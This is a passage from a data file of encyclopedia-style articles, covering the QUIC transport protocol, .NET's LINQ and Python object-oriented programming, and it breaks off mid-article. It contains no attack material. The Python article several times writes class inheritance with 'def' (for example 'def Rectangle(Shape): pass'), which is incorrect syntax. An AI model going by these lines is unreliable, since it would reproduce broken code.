connection. Thus, multiple HTTP streams can exchange data in parallel. But since there's only one TCP connection, a packet loss would block all HTTP streams. This problem is called **Head-of-Line (HOL) blocking**. It can't be solved unless we make changes to the transport layer. Solving this could be important since more and more of web traffic is coming from smartphones over lossy mobile networks.\n\n\n### What are the key features of QUIC?\n\nQUIC features follow from its attempt to overcome limitations of TCP/IP: \n\n    + **Connection Setup**: Connection to a known server is setup with *0-RTT*. Setup time increases only for new cryptographic key exchange or version negotiation. By combining cryptographic and transport handshake, setup time is less.\n    + **Stream Multiplexing**: Overcomes HOL blocking issue by multiplexing QUIC streams over UDP. Loss of a QUIC packet blocks only streams in that packet.\n    + **Flow Control**: Receiver specifies in terms of total bytes that a sender can send per stream and across streams.\n    + **Congestion Control**: QUIC sits in the user space, not kernel space. Hence, updates to algorithms can be done more quickly. Different applications can potentially use different algorithms. QUIC has been integrated with CUBIC and BBR algorithms. RTT estimates are better.\n    + **Connection Migration**: Connection is preserved even if underlying client IP address changes. Such changes are common with mobile clients, such as switching between Wi-Fi and cellular.Forward Error Correction (FEC) and ACK entropy are two early features of QUIC that were later removed since maintenance costs outweighed the benefits. \n\n\n### Aren't problems of TCP/IP already solved by TFO and SCTP?\n\nIndeed there are techniques such as TLC Snapstart and TCP Fast Open (TFO) that reduce setup time. In fact, QUIC's 0-RTT is inspired by these earlier approaches. Likewise, Stream Control Transmission Protocol (SCTP) can multiplex at the transport layer. \n\nHowever, network middleboxes interfere with the end-to-end principle. To optimize delivery of packets within the network, network operators may meddle with TCP headers, drop packets or track connections. Firewalls block unfamiliar packets. Network Address Translators (NATs) rewrite transport headers. These practices made it difficult to introduce changes such as TFO or SCTP across the Internet. In fact, the term **network ossification** is used in this context. \n\nQUIC can also suffer from network ossification. To prevent this, QUIC encrypts most of the protocol information, including some fields of QUIC packet headers. Middleboxes can't know much of what is carried and can't attempt to optimize delivery in non-standard ways. The long term benefit is that QUIC can evolve without worrying if middleboxes will support the changes. QUIC semantics remain end-to-end.  \n\n\n### What are QUIC, gQUIC and iQUIC?\n\nQUIC started in Google in 2012. IETF started standardizing it in 2016 but as of January 2021, it's still a draft. Meanwhile, many implementations of QUIC are already out there, some supporting Google's QUIC and others focusing on IETF's QUIC. \n\nIt's common to say *gQUIC* for Google's QUIC. Sometimes the term *iQUIC* has been used to refer to IETF's QUIC. When QUIC becomes a standard and becomes more widely supported, we expect the term *QUIC* to refer to IETF's QUIC. Some already use *QUIC* in this sense. For now, whenever adoption or performance numbers are mentioned, it would be wise to check the version used for the study.\n\nIt's worth noting that gQUIC was specified as a monolith. IETF QUIC is more modular. Core QUIC transport, TLS with QUIC, congestion control, header compression, HTTP mapping to QUIC, version negotiation are all separate IETF drafts. \n\ngQUIC's cryptographic handshake was called *QUIC-Crypto*. This inspired the creation of *TLS 1.3* that's used by QUIC. \n\nClients and servers can support multiple versions and negotiate the version during connection setup. Version numbers `0x00000001-0x0000ffff` are reserved for the standard. gQUIC and iQUIC versions have a separate ranges. \n\n\n### What are some essentials terms about QUIC?\n\nHere are some essential QUIC terms to know: \n\n    + **Stream**: A lightweight, ordered byte-stream abstraction. A stream can be unidirectional or bidirectional, created by either endpoint. Streams are prioritized but priority is set by the application.\n    + **Frame**: A unit of structured protocol information. There are many frame types. Only some of them carry streams, one stream per frame. Other frame types are for control.\n    + **Packet**: A complete processable unit of QUIC. Multiple packets can be part of the same UDP datagram. Packets are confidentiality and integrity protection. A packet can include multiple streams but a packet loss blocks all its streams for retransmission. Preferably, a packet carries fewer streams. Packet payload is a sequence of one or more frames. Packet numbers are never reused within a connection, even for retransmissions.\n    + **Header**: Part of a QUIC packet. Header can be long (4 types) or short (1 type). Some header fields are encrypted.\n    + **Connection**: A shared state between client and server, which are the connection endpoints. Connection parameters are agreed during a *handshake phase*. *Connection ID* helps with correct packet delivery even when lower layer addressing changes.\n\n### What are some criticisms of QUIC?\n\nWe note these criticisms or concerns about QUIC (likely to be overcome as QUIC matures):  \n\n    + **Security**: Network attacks on UDP are common to the extent that some enterprises and operators block UDP traffic except those arriving on port 53 for DNS. 0-RTT can be misused for replay attacks, which can be a problem with non-idempotent requests. QUIC traffic is also not recognized or analysed by firewalls.\n    + **Network Control**: Since transport layer headers are encrypted, network operators can't optimize their networks to manage congestion. For example, they can't know if a packet is an ACK or a retransmission. Estimating RTT is more difficult. The only options appear to be a single *Spin Bit* and IP-level *Explicit Congestion Notification (ECN)*.\n    + **Performance**: Compared to TCP, UDP implementations are less performant. QUIC takes up too much CPU time. Low-end smartphones and IoT devices will suffer.\n    + **Latency**: 0-RTT works only if load balancers maintain state and route to the same server. Since multiple versions can co-exist, each version negotiation takes an extra RTT.\n    + **Fairness**: Since QUIC is in user space, applications and servers could implement more aggressive Congestion Control Algorithms (CCAs) that make it unfair for non-QUIC connections.\n\n### Could you compare the performance of QUIC against TCP/IP?\n\nIn one study, gQUIC outperformed TCP+HTTPS in desktop environments, due to 0-RTT and quick loss recovery. In fluctuating bandwidths, QUIC did better due to better ACK handling and more accurate RTT estimates. However, QUIC was sensitive to out-or-order delivery, which it perceives as loss. QUIC is poorer on smartphones since it runs in user space. It's poorer in handling lots of small packets. It's also unfair to TCP by consuming more than its share of bandwidth. \n\nResearchers at RWTH Aachen University compared TCP+TLS1.3+HTTP/2 versus gQUIC performance under different network conditions. TCP parameters were fine-tuned. On a lossy network, QUIC performed better. In another test, visual web page performance was not all that different. They comment that fine-tuning TCP might suffice. \n\nExperiments by Fastly showed that QUIC performed poorly due to expensive memory copies between user space and kernel space. However, they matched TCP's performance by delaying ACK (a QUIC extension), using a Linux feature called Generic Segmentation Offload (GSO), and increasing the Maximum Transmission Unit (MTU) length. \n\n\n### What are some resources to get started with QUIC?\n\nIETF's QUIC WG webpage is the place to track the latest in standardization, or download current versions of documents. \n\nThe QUIC project page at Chromium is worth reading. It's FAQ shows how to test a QUIC server against Chrome or build standalone QUIC server and client. \n\nChrome browser enables QUIC by default. In other popular browsers, HTTP/3 and QUIC can be enabled by setting specific configuration flags. \n\nImplementers can join the quicdev Slack channel to coordinate interoperability testing. There are already many implementations of QUIC, lists of which are maintained at QUIC WG's Wiki and on Wikipedia. An interoperability matrix is also available online.\n\nWe note a few of these implementations: Chromium (C/C++), ngtcp2 (C), nginx (C), quic-go (Go), and quicker (NodeJS/TypeScript).\n\nIn 2018, it was commented that only some implementations support all the advanced features. Very few map HTTP/3 to QUIC. \n\n\n### Could you share some tools for debugging or analysing QUIC traffic?\n\nIt's possible to capture QUIC traffic and analyze it offline within Chrome. \n\nAnother tool is Wireshark. Since packets are encrypted, it's possible to load the SSL secret and then decrypt the packets. CellStream has released gQUIC and IETF QUIC profiles for Wireshark. \n\nMultiple implementations fragmented across QUIC versions may lead to sub-optimal performance or even buggy behaviour. Since traditional network analysis tools are tuned to TCP, new tools are needed. Hasselt University has created useful tools to analyse QUIC traffic. \n\nEricsson's Spindump is a tool that makes use of QUIC's Spin Bit to figure out RTT for individual connections and aggregates. It's written in C and supports TCP, QUIC, COAP, DNS, ICMP, and SCTP traffic. It's also available as a library that can be linked with other programs.  \n\n## Milestones\n\n2012\n\nGoogle's work on SPDY protocol becomes the starting point for the standardization of **HTTP/2** by IETF. Previously, Google made improvements to the physical layer by building its own carrier-grade networks and CDNs. While HTTP/2 allows multiple HTTP sessions share a single TCP connection, a single packet loss affects all sessions of that connection. This becomes the motivation to innovate at the transport layer, thus kickstarting QUIC work. \n\nJun  \n2013\n\nGoogle engineer Roskind makes public **QUIC's design document**. He notes that RTT is limited by speed of light. It's high on mobile networks. At best, we can try to reduce the number of RTTs. QUIC is a proposal to do just that. Roskind notes that prototype implementations are ready for real-world experiments. \n\nJul  \n2014\n\n**Wireshark 1.12.0** is released. This release introduces support for Google's QUIC. In August 2020, it's reported that Wireshark's support of Google's gQUIC and IETF's QUIC is still evolving. \n\nJun  \n2016\n\n**IETF accepts QUIC** as an Internet-Draft. QUIC was proposed to IETF a year earlier in June 2015. IETF also renames the protocol to simply *QUIC* from its original expanded form of *Quick UDP-Based Internet Connection*. Thus, QUIC should not be treated as an acronym. The QUIC Working Group is chartered in October. Version 00 of Internet-Draft titled *QUIC: A UDP-Based Multiplexed and Secure Transport* is published in November. \n\nJan  \n2018\n\nIn an interview, we come to learn that 3GPP Core Networks and Terminals (CT) Working Groups are interfacing with IETF on how to adopt **QUIC for 5G networks**. QUIC may be considered for 5G Release 16. 3GPP expresses concerns about protocol headers being encrypted. They therefore provide IETF with requirements from network providers who often like to know more about the traffic that they carry. Meanwhile, Openwave Mobility reports more than 20% of video traffic on the networks of 30 mobile operators use QUIC. YouTube is a significant factor in this growth. \n\nOct  \n2018\n\nThe term **HTTP/3** is proposed in IETF as the new name for HTTP over QUIC, which has also been called HTTP/2 over QUIC. Essentially, it's a mapping of HTTP semantics over QUIC. Its wire format isn't compatible with HTTP/2. IETF Internet-Draft version 17 titled *Hypertext Transfer Protocol Version 3 (HTTP/3)* is published in December. \n\nMay  \n2019\n\nThe engineering team at Uber reports that QUIC outperforms TCP. They used *Cronet* networking library for Android. In production apps, they find that QUIC reduces tail-end latencies by 10-30% even on low connectivity networks. Tail-end latencies are a big problem for Uber, being almost six times the median values. \n\nOct  \n2020\n\nGoogle Chrome browser includes IETF's QUIC (v29) in addition to Google's QUIC (Q050). However, IETF QUIC 0-RTT is not yet supported. Google claims that IETF QUIC outperforms HTTP over TLS 1.3 over TCP. Google search latency is less by 2%. YouTube rebuffer time is less by 9%. Client throughput is up by 3% (desktop) and 7% (mobile). Google also notes that QUIC carries a third of Google traffic. \n\nDec  \n2020\n\nMeasurements collected by W3Techs show that about 5% of web servers use QUIC. This has grown from about 2.8% in January. Of all sites that use QUIC, about 80% use LiteSpeed server. \n\nJan  \n2021\n\nWeekly scans at netray.io show that IETF draft version 29 of QUIC is widely supported. Version 29 was published in June 2020. The most recent one is version 34, published in January 2021.","meta":{"title":"QUIC","href":"quic"}}
{"text":"# Language-Integrated Query\n\n## Summary\n\n\nSQL databases, XML documents, web services and data objects are examples of different types of data sources. Each of these is typically interfaced differently from application code. LINQ simplifies this by offering a single unified querying capability directly within the C# language. In other words, querying is a first-class language construct.  \n\nCode using LINQ is simpler and concise. Syntax and type checking are possible at compile time along with IntelliSense support. This is unlike database interfacing in which queries are treated as strings. Debugging LINQ queries is easier. \n\n.NET's Entity Framework Core is the modern way of using LINQ. LINQ is available in C#, F# and Visual Basic. In C#, SQL Server databases, XML documents, ADO.NET Datasets and collections with `IEnumerable` or `IEnumerable<T>` interfaces are supported. Third-party tools are available for interfacing LINQ with web services and other databases.\n\n## Discussion\n\n### Could you explain LINQ with a simple example?\n\n`Doctors` collection inherits from `List<Doctor>`. Suppose we wish to know all doctors in Chicago. A common programming approach is to loop through the collection, check for a condition (Chicago, in our example) and store the matches into another collection. \n\nLINQ provides a **declarative syntax** that's more like querying an SQL database. With LINQ and other .NET features, we can do many things with ease: find doctors in Chicago (filtering), sort doctors by their pager number (sorting), count the number of doctors in each city (grouping and counting), change specific attributes (updating), add a new doctor (inserting), etc. \n\nThough LINQ doesn't directly support CRUD (Create, Read, Update, Delete), it supports CRUD-like operations and does so in a more intuitive manner. Such queries and transforms are first-class concepts of C#. Here are some examples (note that `Add()` and `RemoveAll()` are methods of `List<T>`):  \n\n    + Create: `doctors.Add( new Doctor(\"John\", \"Smith\", ... ) );`\n    + Read: `var larsens = from d in doctors where d.FamilyLastName == \"Larsen\" select d;`\n    + Update: `foreach (var d in larsens) d.City = \"Suburb\";`\n    + Delete: `doctors.RemoveAll(x => x.FamilyLastName == \"Larsen\");`\n\n### What's the architecture of LINQ in .NET?\n\n.NET LINQ provides programmers a single unified API to interact with various types of data sources. These can be in-memory data structures/objects, XML documents, databases, and more. LINQ queries are translated into data source operations by what's called a **LINQ provider**. Developers can write their own LINQ providers to interface to data sources not supported by default in .NET. \n\nAmong the built-in providers are LINQ to Objects, LINQ to XML, LINQ to DataSet, LINQ to SQL, and LINQ to Entities. **LINQ to SQL** enables developers to generate .NET classes that interface to relational databases directly. **LINQ to Entities** provides an alternative so that applications interact with data as objects. LINQ support is at this object layer. The Entity Data Model presents a conceptual model that represents the data. It's been said that LINQ to SQL was .NET's first attempt at an ORM with support for only SQL Server. LINQ to Entities is the more modern approach. \n\nThere are many more third-party LINQ providers to query various data sources such as search engines (Google, Bing), spreadsheets (CSV, Excel), APIs (Twitter, MediaWiki), etc. \n\n\n### What programming languages support LINQ?\n\nLINQ is supported in C#, F# and Visual Basic. There's little difference between using LINQ in C# and F#. Moreover, LINQ queries can be expressed differently using F# built-in functions. Between C# and Visual Basic, there are some syntax differences. \n\nOther languages have tried to adopt LINQ-like capabilities. *PHPLinq* is an example with a syntax such as `from('$name')->in($names)->where('$name => strlen($name) < 5')->select('$name')`. This relies on lambda expressions. However, query expressions are quoted and therefore just strings. They don't benefit from the real power of LINQ. \n\n*Elcy* is an ORM for TypeScript/JavaScript with LINQ-like query syntax. Another JavaScript library is *Underscore.js*, which adopts the functional programming paradigm. \n\nIndeed, while LINQ is declarative it has similarities with functional programming. Mukherjee's book *Thinking in LINQ* teaches how LINQ can enable functional programming. Python's *toolz* and Ruby's *Enumerable* are packages that come to close to LINQ. \n\n\n### How does LINQ's query syntax differ from it's method syntax?\n\nLINQ's **query syntax** is similar to that in SQL. The simple example in the figure shows the `from-in` construct, a conditional expression and query operators. These together make a *query expression*. In LINQ's **method syntax**, operations appear as methods that are called on the data source. Method calls are chained. Both are equivalent and have similar performance. In fact, queries are transformed into methods before being compiled. Lambda expressions are typical of the method syntax. \n\nQuery syntax is more readable. Intermediate variables using the `let` keyword can be created with query syntax. However, operations that return singleton numeric values (such as `Min`, `Sum`, etc.) must use the method syntax. It's also permitted to mix the two syntaxes, that is, a query expression enclosed in parentheses and followed by a method call. An example is `(from num in numbers where num < 3 select num).Count()`. \n\nBoth syntaxes result in a query object that's typically a collection of type `IEnumerable<T>`. The query object doesn't contain the results. Results are produced only when the query is executed. \n\n\n### What is deferred execution in LINQ?\n\nWhen a query object is returned, it's not immediately executed. If it interfaces to an external data source, the data source is not immediately contacted. This happens only when the query is executed and results are needed. This is what we mean by **deferred execution** in LINQ (aka lazy evaluation). When a query object is used within a `foreach` loop, then the query is executed. Another way to trigger deferred execution is to call the `GetEnumerator()` method. \n\nWithin deferred execution, some LINQ operators support streaming. With **streaming**, the entire source data is not read at once. Results are returned when needed. With **non-streaming**, all source data is read before the results are returned. Sorting and grouping are examples of non-streaming operations. Some streaming operators have two input sequences where the first sequence is evaluated in a deferred streaming manner and the second in a deferred non-streaming manner. Examples include `Except`, `GroupJoin`, `Intersect` and `Join`. \n\nFor **immediate execution** we call `Enumerable.ToList()` or `Enumerable.ToArray()` on the results. Another way to trigger immediate execution is to call some functions, such as `Count()`, `Max()` and `Average()`.  \n\n\n### What are some operations that LINQ can perform?\n\n.NET documentation gives a complete table of LINQ operators and their support for deferred/immediate execution. \n\nLINQ query operators can be classified into aggregate (`Average`, `Count`, `Sum`), set (`Distinct`, `Except`, `Intersect`, `Union`), concatenation (`Concat`), join (`Join`), conversion (`AsEnumerable`, `Cast`, `OfType`, `ToArray`, `ToList`), element (`ElementAt`, `First`, `FirstOrDefault`, `Last`, `Single`), equality (`SequenceEqual`), generation (`Empty`, `Range`, `Repeat`), ordering (`OrderBy`, `ThenByDescending`), partitioning (`Skip`, `TakeWhile`), projection (`Select`, `SelectMany`, `Zip`), quantifier (`All`, `Any`), and restriction/filtering (`Where`).  \n\nThird-party packages are available that extend the above built-in LINQ operations. One such example is MoreLINQ.\n\n\n### How does LINQ handle data types?\n\nAll variables in a query expression are **strongly typed**. Type can be declared explicitly but the compiler is smart enough to infer the type in many cases. \n\nConsider `var custQuery = from cust in Customers where cust.City == \"London\" select cust`. The use of `var` implies type inference. There's no need to explicitly declare it with `IEnumerable<Customer>`. Another example where `var` makes sense is when an anonymous type is returned. Example, `var query = from cust in Customers where cust.City == \"London\" select new { name = cust.Name, phone = cust.Phone }`. \n\nWhen non-generic `IEnumerable` collections such as `ArrayList` are queried, type must be explicit, at least in the `from` expression. Example, `var query = from Student s in students`. \n\n`IEnumerable<T>` queries are compiled to delegates. `IQueryable` and `IQueryable<T>` queries are compiled to expression trees. For example, LINQ to Objects works with delegates. LINQ to SQL works with expression trees. An **expression tree** is a data structure that defines code. \n\n\n### What are some tips when using LINQ?\n\nTo check if a collection has items (that optionally match a specific condition), prefer to use `Any()` rather than `Count()`. Prefer to use `Any(condition)` instead of `Where(condition).Any()`. When calling `FirstOrDefault()`, check for null object reference before using the returned result. Alternatively, include the method `DefaultIfEmpty()` in the query to specify a default value. \n\nA query such as `from c in db.Customers select c` does nothing. Instead simply say `db.Customers`. Likewise, `(from c in db.Customers where c.ID == 123 select c).Single()` can be simplified to `db.Customers.Single(c => c.ID == 123)`. \n\nUnlike SQL, joins can be accomplished without using the `join` keyword. This is due to LINQ's association properties. Thus, to obtain customers who haven't purchased anything, we can simply write `from c in db.Customers where !c.Purchases.Any() select new { c.ID, c.Name }`. \n\nAlthough SQL emits flat result sets, LINQ can return complex objects. Such objects are easily initialized within either anonymous types or named types. With the latter, such types can be returned from methods. \n\nSince query execution is deferred, queries can be built in steps. This makes the code more readable and maintainable. \n\n\n### What are some limitations of LINQ?\n\nThere are two sides to LINQ: consumers and implementers. For consumers, LINQ brings many benefits. For implementers, writing a LINQ provider is not easy. Essentially, this involves implementing `IQueryable<T>` that reads an expression tree and figure out how to translate that to query the underlying data store. \n\nLINQ allows consumers to write queries, some of which may not execute efficiently at the database layer. The semantics of LINQ that are well-suited for memory collections may not map very well to relational and non-relational databases. Thus, it's possible to have queries that a LINQ provider may fail to handle properly. \n\nIt's been said that LINQ is not suited for complex SQL queries. SQL store procedures have execution caching that the LINQ approach can't utilize. \n\n\n### Where can I learn more about LINQ?\n\nOfficial .NET documentation describes how to use LINQ in C# and LINQ in Visual Basic. An important reference is the System.Linq namespace documentation.\n\nMicrosoft has published some videos that explain LINQ. A repository called try-samples has some LINQ examples.\n\nAmong the books to read are *C# 10 Pocket Reference* and *LINQ Pocket Reference* by Albahari and Albahari. \n\nThere are many useful tools that improve the developer experience when working with LINQ:\n\n    + **Visual Studio IDE**: This supports IntelliSense and syntax highlighting of LINQ queries. The debugger can debug query expressions. As a visual tool, there's *Object Relational Designer* for LINQ to SQL applications. CLI tool *SQLMetal* can generate classes from databases.\n    + **LINQ Insight**: Allows developers to execute, debug and analyze queries during the design phase even without starting a debug session.\n    + **LINQPad**: Similar to LINQ Insight. Can also execute C#/F#/VB code snippets. A related tool is *LINQPad.QueryPlanVisualizer* that supports SQL Server and PostgreSQL for databases, and Entity Framework Core 5 and LINQ to SQL for ORMs.\n\n\n## Milestones\n\n1995\n\nBuneman et al. publish a paper titled *Principles of programming with complex objects and collection types*. While not directly related to LINQ, this paper shares the theoretical foundations. In particular, relational algebra and category theory (monads) are used. \n\n2004\n\nThe idea of using \"sequence operators\" that can be used on any `IEnumerable` collection is proposed by Anders Hejlsberg, the chief designer of C#. Such operators can also be used for remote queries on `IQueryable` types. The compiler needs to know about such operators so that correct static methods and delegates can be called. \n\n2006\n\nMeijer et al. note the problem of ROX impedance mismatch, where ROX (Relational, Object, XML) relates to data access technologies. .NET Framework's upcoming release is meant to solve this problem via LINQ. The LINQ framework would define two domain-specific APIs: **XLinq** (for XML documents) and **DLinq** (for relational data). \n\nNov  \n2007\n\nMicrosoft releases .NET Framework 3.5. **LINQ** is added as part of this release. \n\nAug  \n2008\n\nMicrosoft releases .NET Framework 3.5 Service Pack 1. This includes **ADO.NET Entity Framework** and **ADO.NET Data Services**. This enables LINQ to query databases with strong typing. In later years, it's claimed that LINQ changed how programmers write C# code. \n\nApr  \n2010\n\nMicrosoft releases .NET Framework 4.0. This includes support for parallel computing (multi-core or distributed systems). To this end, **Parallel LINQ (PLINQ)** is added. PLINQ bring parallelism to LINQ. \n\n2013\n\nCheney et al. publish a paper titled *A Practical Theory of Language-Integrated Query*. Their approach uses quotation and normalization. Their theory is called **T-LINQ**. They provide an implementation in F# called **P-LINQ**. They note that Microsoft's LINQ fails for some of their example queries whereas P-LINQ works correctly. \n\nNov  \n2021\n\nMicrosoft releases .NET 6. This release expands the LINQ API in many ways. The `Enumerable` class gets many new methods: `TryGetNonEnumeratedCount` for counting without enumerating, `DistinctBy`/`UnionBy`/`IntersectBy`/`ExceptBy` for set operations with specific selector functions, `MaxBy`/`MinBy` operations with selector functions, `Chunk` for chunking, `FirstOrDefault`/`LastOrDefault`/`SingleOrDefault` to return defaults on empty enumerables, and more. `Zip` can now do three-way combines. `ElementAt` can take indices from the end.   \n\nNov  \n2022\n\nMicrosoft releases .NET 7. With SQL Server's **JSON support**, LINQ can now query JSON documents stored in a relational database.  There's now a simpler way to order items, using `Order` rather than `OrderBy`, The latter method is still useful for ordering non-trivial objects that don't implement `IComparable<T>`.","meta":{"title":"Language-Integrated Query","href":"language-integrated-query"}}
{"text":"# Python OOP\n\n## Summary\n\n\nPython is an Object-Oriented Programming (OOP) language. Many OOP concepts are available in Python including classes, objects, (multiple) inheritance, polymorphism, and encapsulation.  Functions are also objects in Python. Data hiding in terms of access modifiers is not strict: class and instance attributes are public and private membership is not strictly enforced. \n\nApart from instance methods, class methods and static methods are possible. Abstract classes are possible and they're equivalent to interfaces in other languages. Implementations of these typically employ decorators. Nested functions and nested classes are supported.  What's called operator overloading in OOP is implemented using magic methods. \n\nSince its beginning, Python support for OOP has continued to evolve. The aim has been to balance a simple intuitive syntax with features and performance desired by developers.\n\n## Discussion\n\n### What are some essential terms in Python OOP?\n\nHere are a few essentials terms in Python OOP:  \n\n    + **Class**: Bundles data and functionality together. Acts as a template or factory for creating new instances.\n    + **Instance**: Created from a class. We say an instance's type is the class from which it's created. Eg. `point` is an instance of `Point` given that `point = Point()`. Many instances of a class can be created.\n    + **Attribute**: Relevant to both classes and instances. Accessed using the dot notation `obj.name`. Attributes are either data attributes (eg. `point.x`) or methods (eg. `point.move_left(5)`).\n    + **Method**: Belongs to an object. It's called to execute the code it contains. Note that `point.move_left` returns a *method object* whereas `Point.move_left` returns a *function object*.Instances are also called *objects*. Strictly speaking, we distinguish two types of objects: \n\n    + **Class Object**: Nothing more than a wrapper around the namespace created by the class definition. There are two things we can do with a class object: access its attributes or instantiate a new instance.\n    + **Instance Object**: This is an instance created from a class. The only thing we can do with an instance object is to access its attributes.\n\n### How do I define classes and instantiate objects in Python?\n\nA class of name 'Foo' can be defined with `class Foo: pass`, where `class` is a Python keyword. An instance or object of this class can be created with `foo = Foo()`, where `foo` is an instance of the `Foo` class. \n\nEvery Python class inherits from `object`. It's the base for all classes. It doesn't accept any arguments. It's also featureless, that is, we can't assign attributes to instances of `object`. \n\nA class `Rectangle` that inherits from another class `Shape` can be defined as `def Rectangle(Shape): pass`. **Multi-level inheritance** is also supported, such as, `def Square(Rectangle): pass`. **Multiple inheritance**, which is the ability of a class to inherit from multiple class, is also supported. For example, we can design a `Novel` class that inherits from two classes `Book` and `Fiction`: `def Novel(Book, Fiction)`. The order of the base classes is significant.\n\nUnlike `foo` in the earlier example we can create classes that are initialized with arguments. For example, `corner = Point(1.3, -2.4)` creates a `Point` object named `corner` that's initialized with (x=1.3, y=-2.4) coordinates. \n\n\n### What's the lifecycle of a Python object?\n\nWhen instantiated from its class definition, a Python object is created (memory is allocated) and then initialized. The object is stored in memory and accessible by the program. When the object is no longer required, it's destroyed and its memory is reclaimed by the system.\n\nThe following class methods are relevant to a Python object's lifecycle: \n\n    + `&lowbar;&lowbar;new&lowbar;&lowbar;`: Called automatically to instantiate an object. A developer rarely needs to customize the default implementation of this method.\n    + `&lowbar;&lowbar;init&lowbar;&lowbar;`: Called automatically after `&lowbar;&lowbar;new&lowbar;&lowbar;` for initializing the object. Can accept arguments, such as, `def &lowbar;&lowbar;init&lowbar;&lowbar;(self, x, y)` of a `Point` class to initialize it's attributes.\n    + `&lowbar;&lowbar;del&lowbar;&lowbar;`: Called automatically when the object is destroyed. A programmer can explicitly destroy the object by calling the `del()` built-in function or leave it to Python's garbage collector to do it. Either way, `&lowbar;&lowbar;del&lowbar;&lowbar;` is called. If the interpreter exits, there's no guarantee that `&lowbar;&lowbar;del&lowbar;&lowbar;` is called for existing instances.\n\n### What's the naming convention for Python class definitions?\n\nPython PEP 8 describes the naming convention and styling to be followed by developers. The following are relevant to class definitions: \n\n    + Surround top-level function and class definitions with two blank lines.\n    + Method definitions inside a class are surrounded by a single blank line.\n    + Write docstrings for all public modules, functions, classes, and methods.\n    + `single_trailing_underscore_` argument name: avoids conflict with Python keywords. Eg. `register_student(self, class_, section)`.\n    + `&lowbar;&lowbar;double_leading_underscore` attribute name: kind of private and avoids conflicts with subclasses. Invokes Python's name mangling rules.\n    + `&lowbar;&lowbar;double_leading_and_trailing_underscore&lowbar;&lowbar;` name: convention is reserved for magic methods or other special uses. Don't name your attributes this way.\n    + Class names should normally use the CapWords convention.\n    + Class naming applies to Exceptions since they're also classes. Use the suffix \"Error\" in exception names.\n    + Always use `self` for the first argument to instance methods.\n    + Always use `cls` for the first argument to class methods.\n    + For variable annotations, use single space after colon and no space before colon. Eg. `coords: Tuple[int, int]`.\n\n### What are nested functions and nested classes in Python?\n\nWe typically define functions at module level. But it's possible to define a function within another function. For example, `def g(): pass` can be defined within the body of another function `f()`. Function `g` is therefore a **nested function**. It can't be invoked from outside its container function. It can be invoked only by `f`. Nested functions are therefore useful to implement encapsulation. For example, function `get_projection` is defined within function `get_area` but how the projection is calculated is particular to the area calculation. Therefore, we don't want others to use the projection.\n\nIt's possible for a nested function to be returned from its container function. In this case, the returned function can be called from outside. In fact, partial functions and closures are implemented this way. \n\nLike nested functions, for better encapsulation but at the expense of code reuse, a class can be defined within another class. The former is therefore a **nested class**. The outer class may instantiate objects of its inner classes. An inner class can be instantiated without instantiating its outer class.\n\n\n### What are magic methods in Python OOP?\n\nMagic methods, also called *dunder methods*, are special methods that are typically not explicitly called in application code. The Python interpreter calls them depending on the operation currently requested by the program.\n\nFor example, `&lowbar;&lowbar;new&lowbar;&lowbar;` and `&lowbar;&lowbar;init&lowbar;&lowbar;` are magic methods called respectively for creating and initializing an instance from its class. When we compare two objects (`a == b`), magic method `&lowbar;&lowbar;eq&lowbar;&lowbar;` is called on one object with the other object passed in as an argument. When we call `del()` method on an attribute, magic method `&lowbar;&lowbar;delattr&lowbar;&lowbar;` is called. To add two objects (`a + b`), magic method `&lowbar;&lowbar;add&lowbar;&lowbar;` is called. \n\nWe may say that magic methods dictate what happens under the hood. They're useful when defining custom classes and we wish to override default behaviour. Custom classes can emulate the behaviour of built-in types. For example, we may define a custom string class derived from `str` built-in class. By overriding `&lowbar;&lowbar;eq&lowbar;&lowbar;`, we can enable case-insensitive comparison of strings.\n\nAll magic methods are named with leading and trailing double underscores. Other methods should not be named this way. \n\n\n### Could you compare a Python object's static methods and class methods?\n\nWhen an instance is created, its methods are called instance methods. An instance method takes in `self` as the first argument. This points to that particular instance. Via this argument, the method can access all other attributes of the instance.\n\nThere are some methods that don't need the instance. They operate purely on the input arguments and output a result. They don't read or change state of the instance. These are called **static methods** and are defined via the `@staticmethod` decorator. In one use case, static methods could be helper functions that assist instance methods in their computations. They could also be called from outside the class. \n\nWhile each instance has its own state, we might need all instances share some attributes. For example, multiple instances of a `Logger` class log to the same file. Filename could be a shared state. Shared attributes are defined as class attributes rather than instance attributes. Methods that operate only on class attributes are called **class methods** and are defined via the `@classmethod` operator. A class method takes in `cls` as the first argument. \n\n\n### How do I define private or protected class attributes in Python?\n\nClass and instance attributes are public. However, by naming convention, some developers treat attributes that start with a single underscore as protected. That is, only subclasses can access base class attributes. Others use single underscore to imply non-public access. The language itself offers no protection against public access. \n\nAnother convention is to name attributes starting with double underscores. Such attributes are private to the class. In reality, Python does **name mangling**. It renames the attribute so that it becomes inaccessible from outside the class under its original name. However, within the class, the original name is valid. As an example, attribute `&lowbar;&lowbar;update` in class `Mapping` will become `_Mapping&lowbar;&lowbar;update`. \n\nEven with name mangling, a persistent developer can still access the attribute from outside the class by using the mangled name. In conclusion, Python's support for private attributes is not strict. Name mangling does solve the problem of conflicting names due to subclass attributes. \n\n\n### What's Method Resolution Order (MRO) in Python?\n\nConsider `Novel` class that inherits from two classes `Book` and `Fiction`: `def Novel(Book, Fiction)`. If both `Book` and `Fiction` implement the method `get_title()` but `Novel` doesn't override this method, MRO determines which one gets called. Python adopts **C3 MRO algorithm**. Essentially, it says that method calls are resolved depth first but where a common ancestor is involved, it is called as late as possible. \n\nIn the above `Novel` example, `Book.get_title()` is called. But let's consider a more complex example shown in the figure. Method call on a `Romantic19Novel` instance resolves to `RomanticNovel` and then `Novel` (depth first rule). However, `Novel` is also a base class of `NineteenthCenturyNovel`. Hence, `Novel` is deferred until later. Thus, the MRO is (`Romantic19Novel`, `RomanticNovel`, `NineteenthCenturyNovel`, `Novel`, `Book`, `object`).\n\nGiven any class, we can introspect the MRO by calling the `mro()` method, or accessing the `&lowbar;&lowbar;mro&lowbar;&lowbar;` attribute. Eg. `Romantic19Novel.mro()`. Note that these can't be called on instances.\n\nWhile C3 MRO algorithm works in most cases, sometimes it's unable to resolve. In such a case, Python interpreter will raise an exception and fail to even define the class. \n\n\n### What is cooperative multiple inheritance in Python?\n\nIt's possible to implement our methods in such a way that MRO becomes easier. Even if the order of base classes were changed in the case of multiple inheritance, we would still achieve consistent runtime behaviour. Cooperative multiple inheritance also makes it easier to inject new classes into the inheritance hierarchy. \n\nImplementing methods cooperatively means fulfilling the following three conditions: \n\n    + Every implementation of the method need to call `super()`.\n    + The method being called by `super()`needs to exist.\n    + The caller and called base class methods have matching argument signatures. In particular, they accept `&ast;&ast;kwargs` keyword arguments dictionary as the last 